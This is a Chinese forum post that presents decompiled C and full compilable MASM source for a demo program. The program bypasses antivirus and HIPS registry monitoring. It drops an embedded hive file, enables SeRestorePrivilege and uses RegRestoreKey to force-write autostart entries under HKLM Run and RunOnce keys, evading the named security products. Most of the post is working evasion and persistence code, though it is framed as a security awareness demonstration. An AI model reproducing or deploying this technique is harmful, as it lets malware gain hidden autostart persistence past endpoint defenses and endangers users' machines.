注册表监控弱点演示程序相关信息:
http://www.xyzreg.net/
突破主动防御之注册表监控篇 大 | 中 | 小 [ 2007/02/26 05:17 | by xyzreg ]
目前主动防御的概念已经深入人心,许多杀毒软件、软件防火以及HIPS都具有了注册表监控功能,防止自启动项以及IE相关键值被修改,对防范病毒木马以及流氓软件等恶意程序起到了不小的作用。但是现有的注册表监控并非无懈可击,我们仍然可以绕过注册表监控修改注册表。
绕过注册表监控的方法不止一种,应根据不同情况灵活运用。 除了本演示程序使用的操作HIVE文件修改注册表的方法,我们还可以写驱动解除注册表监控程序的钩子,或者直接调用CmXXXXX等未导出函数来操作注册表等。
测试了卡巴6、瑞星2007、GSS、江民2007等含有注册表监控功能的安全软件,我写的这个演示程序均可以突破他们不被拦截,实现修改注册表。
本程序仅作科普以及安全警示之用,旨在提高大家安全意识以及选择更好的安全产品。勿将程序中的方法用于非法用途。
直接分析的内容
.const
szResourceType db "xyz2"
szFileName db "c:\\xyz2.hiv"
szSeRestorePrivilege db "SeRestorePrivilege"
SubRegKey db "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\policies"
.code
SpecialPassRegMon proc uses ebx esi edi
local hRegKey:dword,NumberOfBytesWritten:dword
push offset szResourceType ; "xyz2"
push 84h ; lpName
push 0 ; hModule
call FindResourceA
mov ebx, eax
push eax ; hResInfo
push 0 ; hModule
call SizeofResource
mov edi, eax
push ebx ; hResInfo
push 0 ; hModule
call LoadResource
push eax ; hResData
call LockResource
mov ebx, eax
push 0 ; hTemplateFile
push 0 ; dwFlagsAndAttributes
push 2 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 0 ; dwShareMode
push 40000000h ; dwDesiredAccess
push offset szFileName ; "c:\\xyz2.hiv"
call CreateFileA
mov esi, eax
push 0 ; lpOverlapped
lea eax, NumberOfBytesWritten
push eax ; lpNumberOfBytesWritten
push edi ; nNumberOfBytesToWrite
push ebx ; lpBuffer
push esi ; hFile
call WriteFile
push esi ; hObject
call CloseHandle
push offset szSeRestorePrivilege ; "SeRestorePrivilege"
call LookupTokenPrivilege
lea ecx, hRegKey
push ecx ; phkResult
push offset SubRegKey ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
push HKEY_LOCAL_MACHINE ; hKey
call RegOpenKeyA
xor esi, esi
@@:
mov edx, [esp+14h+hRegKey]
push REG_FORCE_RESTORE ; dwFlags
push offset File ; "C:\\xyz2.hiv"
push edx ; hKey
call RegRestoreKeyA
test eax, eax
jz @f
inc esi
cmp esi, 14h
jl @b
@@:
push offset szFileName ; "c:\\xyz2.hiv"
call DeleteFileA
push hRegKey ; hObject
call CloseHandle
ret
SpecialPassRegMon endp
BOOL __cdecl SpecialPassRegMon()
{
signed int i;
HRSRC hModule;
HRSRC temp;
DWORD dwResourceSize;
HGLOBAL hResData;
HANDLE hFile;
const void *pResData;
DWORD NumberOfBytesWritten;
HKEY hRegKey;
hModule = FindResourceA(0, (LPCSTR)0x84, "xyz2");
temp = hModule;
dwResourceSize = SizeofResource(0, hModule);
hResData = LoadResource(0, temp);
hFile = CreateFileA("c:\\xyz2.hiv", 0x40000000u, 0, 0, 2u, 0, 0);
pResData = LockResource(hResData);
WriteFile(hFile, pResData, dwResourceSize, &NumberOfBytesWritten, 0);
CloseHandle(hFile);
LookupTokenPrivilege("SeRestorePrivilege");
RegOpenKeyA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\policies", &hRegKey);
i = 0;
do
{
if ( !RegRestoreKeyA(hRegKey, "C:\\xyz2.hiv", REG_FORCE_RESTORE) )
break;
++i;
}
while ( i < 20 );
CloseHandle(hRegKey);
return DeleteFileA("c:\\xyz2.hiv");
}
LookupTokenPrivilege proc lpPrivilege:DWORD
local TokenHandle:dword
local Luid:_LUID
local NewState:_TOKEN_PRIVILEGES
lea eax, TokenHandle
push eax ; TokenHandle
push 28h ; DesiredAccess
call GetCurrentProcess
push eax ; ProcessHandle
call OpenProcessToken
test eax, eax
jz exit_LookupTokenPrivilege
lea ecx, Luid
push ecx ; lpLuid
push lpPrivilege ; Privilege = "SeRestorePrivilege"
push 0 ; lpSystemName
call LookupPrivilegeValueA
test eax, eax
jz error_LookupTokenPrivilege
push Luid.LowPart
pop NewState.Privileges.Luid.LowPart
push Luid.HighPart
pop NewState.Privileges.Luid.HighPart
mov NewState.PrivilegeCount, 1
mov NewState.Privileges.Attributes, 2
push 0 ; ReturnLength
push 0 ; PreviousState
push 10h ; BufferLength
lea eax, NewState
push eax ; NewState
push 0 ; DisableAllPrivileges
push TokenHandle ; TokenHandle
call AdjustTokenPrivileges
test eax, eax
jnz exit_LookupTokenPrivilege
error_LookupTokenPrivilege:
push TokenHandle ; hObject
call CloseHandle
xor eax, eax
exit_LookupTokenPrivilege:
ret
LookupTokenPrivilege endp
BOOL __cdecl LookupTokenPrivilege(LPCSTR lpPrivilege)
{
BOOL result;
HANDLE hProc;
HANDLE TokenHandle;
struct _LUID Luid;
struct _TOKEN_PRIVILEGES NewState;
hProc = GetCurrentProcess();
result = OpenProcessToken(hProc, 0x28u, &TokenHandle);
if ( result )
{
if ( LookupPrivilegeValueA(0, lpPrivilege, &Luid) )
{
NewState.Privileges[0].Luid.LowPart = Luid.LowPart;
NewState.PrivilegeCount = 1;
NewState.Privileges[0].Luid.HighPart = Luid.HighPart;
NewState.Privileges[0].Attributes = 2;
result = AdjustTokenPrivileges(TokenHandle, 0, &NewState, 0x10u, 0, 0);
if ( !result )
result = CloseHandle(TokenHandle);
}
else
{
result = CloseHandle(TokenHandle);
}
}
return result;
}
以下是编译通过的ASM源码,对代码部分进行了修改和优化
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 注册表监控弱点演示程序 v0.2 BypassRegMon_src
; 源PE作者: xyzreg 逆向优化源码 by hsq, 2007-11-7 10:29
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.386
.model flat,stdcall
option casemap:none
include windows.inc
include user32.inc
include shell32.inc
include kernel32.inc
include advapi32.inc
includeLib user32.lib
includelib shell32.lib
includeLib kernel32.lib
includelib advapi32.lib
.const
Data db "test.exe",0
szXYZ2 db "XYZ2",0
szXYZ2_hiv db "c:\XYZ2.hiv",0
szNon db "NON",0
szNon_hiv db "c:\NON.hiv",0
szXyz db "XYZ",0
szXyz_hiv db "C:\XYZ.hiv",0
szSeRestorePrivilege db "SeRestorePrivilege",0
szSpeciallpSubKey dw 0
SubRegKey db "SOFTWARE\Microsoft\Windows\CurrentVersion\policies",0
szSoftwareMicrCurRunOnce db "SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce",0
szSoftwareMicrExpRun db 'SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run',0
Caption db "提示",0
szNormal db "常规方法",0
szClear db "清除完毕!",0Dh,0Ah,0
szSpecial db "特殊方法",0
szSpecial_A db "特殊方法修改注册表自启动项 A ...",0Dh,0Ah,0Dh,0Ah,"如果修改成功将在"
db "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
db "下增加 ",22h,"特殊方法",22h,2ch,22h,"test.exe",22h,"的新键值",0Dh,0Ah,0Dh,0Ah
db "操作完毕,请观察注册表监控类程程序是否有反应",0Dh,0Ah,0
szNormal_A db "常规方法修改注册表自启动项 A ...",0Dh,0Ah,0Dh,0Ah,"如果修改成功将在"
db "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
db "下增加 ",22h,"常规方法",22h,2ch,22h,"test.exe",22h,"的新键值",0Dh,0Ah,0Dh,0Ah
db "操作完毕,请观察注册表监控类程程序是否有反应",0Dh,0Ah,0
szNormal_B db "常规方法修改注册表自启动项 B ...",0Dh,0Ah,0Dh,0Ah,"如果修改成功将在"
db "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run"
db "下增加 ",22h,"常规方法",22h,2ch,22h,"test.exe",22h,"的新键值",0Dh,0Ah,0Dh,0Ah
db "操作完毕,请观察注册表监控类程程序是否有反应",0Dh,0Ah,0
szSpecial_B db "特殊方法修改注册表自启动项 B ...",0Dh,0Ah,0Dh,0Ah,"如果修改成功将在"
db "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run"
db "下增加 ",22h,"特殊方法",22h,2ch,22h,"test.exe",22h,"的新键值",0Dh,0Ah,0Dh,0Ah
db "操作完毕,请观察注册表监控类程程序是否有反应",0Dh,0Ah,0
.data?
ghInstance HINSTANCE ? ;保存实例句柄
.code
Start:
push SW_SHOWDEFAULT ; nShowCmd
push 0 ; lpCmdLine
push 0 ; hPrevInstance
push 0 ; lpModuleName
call GetModuleHandle
push eax ; hInstance
call WinMain ; WinMain(x,x,x,x)
push eax
call ExitProcess
;=========================================================================================
WinMain proc hInstance:HINSTANCE,hPrevInstance:HINSTANCE,lpCmdLine:LPSTR,nShowCmd:DWORD
local Msg:MSG
mov eax, hInstance
mov ghInstance, eax
push 5 ; nCmdShow
push 0 ; dwInitParam
push offset DialogFunc ; lpDialogFunc
push 0 ; hWndParent
push 81h ; lpTemplateName
push eax ; hInstance
call CreateDialogParam
push eax ; hWnd
call ShowWindow
push 0 ; wMsgFilterMax
push 0 ; wMsgFilterMin
push 0 ; hWnd
lea eax, Msg
push eax ; lpMsg
call GetMessage
test eax, eax
jz short EndMSG
WaitMSG:
lea ecx, Msg
push ecx ; lpMsg
call TranslateMessage
lea edx, Msg
push edx ; lpMsg
call DispatchMessage
push 0 ; wMsgFilterMax
push 0 ; wMsgFilterMin
push 0 ; hWnd
lea eax, Msg
push eax ; lpMsg
call GetMessage
test eax, eax
jnz short WaitMSG
EndMSG:
mov eax, Msg.wParam
ret
WinMain endp
DialogFunc proc uses ebx edi esi hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
mov eax, uMsg
cmp eax, WM_CLOSE
jz exit_DialogFunc
cmp eax, WM_COMMAND
jz short NextCOMMAND0
cmp uMsg, WM_DESTROY
je NextMSG
xor eax, eax
ret
NextMSG:
push 0
call PostQuitMessage
jmp RetMSG
NextCOMMAND0:
mov eax, wParam
cmp ax, 3FBh
jnz NextCOMMAND1
lea eax, uMsg
push eax
push 0F003Fh
push 0
push offset szSoftwareMicrCurRunOnce
push HKEY_LOCAL_MACHINE
call RegOpenKeyEx
push offset Data
call lstrlen
mov ecx, uMsg
push eax
push offset Data
push 1
push 0
push offset szNormal
push ecx
call RegSetValueExA
mov edx, uMsg
push edx
call RegCloseKey
mov eax, hWnd
push 20h ; uType
push offset Caption ; "提示"
push offset szNormal_A ; "常规方法修改注册表自启动项 A ..."
push eax
call MessageBox
jmp RetMSG
NextCOMMAND1:
cmp ax, 3FCh
jnz short NextCOMMAND2
push REG_FORCE_RESTORE ; dwFlags
push offset szSoftwareMicrCurRunOnce ; lpSubKey
push HKEY_LOCAL_MACHINE ; hKey
push offset szXyz_hiv ; lpFilePath
push offset szXyz ; lpType
push 130 ; lpName=IDD; 130 XYZ "Data_2.bin"
push 0 ; hModule
call SpecialPassRegMon
mov ecx, hWnd
push 20h ; uType
push offset Caption ; "提示"
push offset szSpecial_A ; "\n特殊方法修改注册表自启动项 A..."
push ecx ; hWnd
call MessageBox
jmp RetMSG
NextCOMMAND2:
cmp ax, 3FDh
jnz NextCOMMAND3
push REG_FORCE_RESTORE ; dwFlags
push offset szSoftwareMicrCurRunOnce ; lpSubKey
push HKEY_LOCAL_MACHINE ; hKey
push offset szNon_hiv ; lpFilePath
push offset szNon ; lpType
push 131 ; lpName=IDD 131 NON "Data_1.bin"
push 0 ; hModule
call SpecialPassRegMon
push esp
push esp ; phkResult
push KEY_ALL_ACCESS ; samDesired
push 0 ; ulOptions
push offset szSoftwareMicrExpRun ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
push HKEY_LOCAL_MACHINE ; hKey
call RegOpenKeyEx
pop ebx
push offset szNormal ; "常规方法"
push ebx ; hKey
call RegDeleteValue ; 删除常规方法建立的键值
push offset szSpecial ; "特殊方法"
push ebx ; hKey
call RegDeleteValue ; 删除常规方法建立的键值
push offset szSpeciallpSubKey ; lpSubKey
push ebx ; hKey
call RegDeleteKey
push ebx ; hKey
call RegCloseKey
push MB_ICONQUESTION ; uType
push offset Caption ; "提示"
push offset szClear ; "清除完毕!"
push hWnd ; hWnd
call MessageBox
jmp RetMSG
NextCOMMAND3:
cmp ax, 400h
jnz short NextMSG0
lea edx, uMsg
push edx ; phkResult
push offset szSoftwareMicrExpRun ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
push HKEY_LOCAL_MACHINE ; hKey
call RegCreateKey
push offset Data
call lstrlen
push eax ; cbData
mov eax, uMsg
push offset Data ; lpData
push 1 ; dwType
push 0 ; Reserved
push offset szNormal ; "常规方法"
push eax ; hKey
call RegSetValueEx
mov ecx, uMsg
push ecx ; hKey
call RegCloseKey
mov edx, hWnd
push MB_ICONQUESTION ; uType
push offset Caption ; "提示"
push offset szNormal_B ; "\n常规方法修改注册表自启动项 B..."
push edx ; hWnd
call MessageBox
jmp RetMSG
NextMSG0:
cmp ax, 401h
jnz exit_DialogFunc
push REG_FORCE_RESTORE ; dwFlags
push offset SubRegKey ; lpSubKey
push HKEY_LOCAL_MACHINE ; hKey
push offset szXYZ2_hiv ; lpFilePath
push offset szXYZ2 ; lpType
push 132 ; lpName=IDD 132 XYZ2 "Data_3.bin"
push 0 ; hModule
call SpecialPassRegMon
mov eax, hWnd
push 20h ; uType
push offset Caption ; "提示"
push offset szSpecial_B ; "\n特殊方法修改注册表自启动项 B..."
push eax ; hWnd
call MessageBox
RetMSG:
mov eax, 1
ret
exit_DialogFunc:
push hWnd
call DestroyWindow
jmp RetMSG
DialogFunc endp
SpecialPassRegMon proc uses ebx esi edi hModule,lpName,lpType,lpFilePath,hKey,\
lpSubKey,dwFlags
local hRegKey:dword,NumberOfBytesWritten:dword
push lpType ; lpType
push lpName ; lpName
push hModule ; hModule
call FindResource ; 查找资源
mov ebx, eax
push eax ; hResInfo
push hModule ; hModule
call SizeofResource ; 获得资源大小
mov edi, eax
push ebx ; hResInfo
push hModule ; hModule
call LoadResource ; 装载资源
push eax ; hResData
call LockResource ; 锁定资源
mov ebx, eax ; 获取资源指针
push 0 ; hTemplateFile
push 0 ; dwFlagsAndAttributes
push 2 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 0 ; dwShareMode
push 40000000h ; dwDesiredAccess
push lpFilePath
call CreateFile ; 创建文件
mov esi, eax
push 0 ; lpOverlapped
lea eax, NumberOfBytesWritten
push eax ; lpNumberOfBytesWritten
push edi ; nNumberOfBytesToWrite
push ebx ; lpBuffer
push esi ; hFile
call WriteFile ; 写文件内容
push esi
call CloseHandle ; 关闭文件句柄
push offset szSeRestorePrivilege ; "SeRestorePrivilege"
call LookupTokenPrivilege ; 提升进程权限
push esp
push esp
push lpSubKey
push HKEY_LOCAL_MACHINE ; hKey
call RegOpenKey ; 打开注册表,成功则返回零
pop ebx
xor esi, esi
@@:
push dwFlags ; dwFlags
push lpFilePath
push ebx ; hKey
call RegRestoreKey ; 写注册表,成功则返回零
test eax, eax
jz @f
inc esi
cmp esi, 3h ; 尝试3次
jl @b
@@:
push lpFilePath
call DeleteFile ; 删除释放文件
push ebx
call CloseHandle
ret
SpecialPassRegMon endp
LookupTokenPrivilege proc lpPrivilege:DWORD
local TokenHandle:dword
local Luid:LUID
local NewState:TOKEN_PRIVILEGES
lea eax, TokenHandle
push eax ; TokenHandle
push 28h ; DesiredAccess
call GetCurrentProcess
push eax ; ProcessHandle
call OpenProcessToken
test eax, eax
jz exit_LookupTokenPrivilege
lea ecx, Luid
push ecx ; lpLuid
push lpPrivilege ; Privilege = "SeRestorePrivilege"
push 0 ; lpSystemName
call LookupPrivilegeValue
test eax, eax
jz error_LookupTokenPrivilege
push Luid.LowPart
pop NewState.Privileges.Luid.LowPart
push Luid.HighPart
pop NewState.Privileges.Luid.HighPart
mov NewState.PrivilegeCount, 1
mov NewState.Privileges.Attributes, 2
push 0 ; ReturnLength
push 0 ; PreviousState
push 10h ; BufferLength
lea eax, NewState
push eax ; NewState
push 0 ; DisableAllPrivileges
push TokenHandle ; TokenHandle
call AdjustTokenPrivileges
test eax, eax
jnz exit_LookupTokenPrivilege
error_LookupTokenPrivilege:
push TokenHandle ; hObject
call CloseHandle
xor eax, eax
exit_LookupTokenPrivilege:
ret
LookupTokenPrivilege endp
end Start
基本上操作HIVE文件的都是通过SpecialPassRegMon实现,问题的核心是如何编写HIVE文件。虽然目前的KAV7.0.1.325 版封了HIVE写注册表, 但是最后一种些注册表的方法依然可行,
估计迟早也要X掉。
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课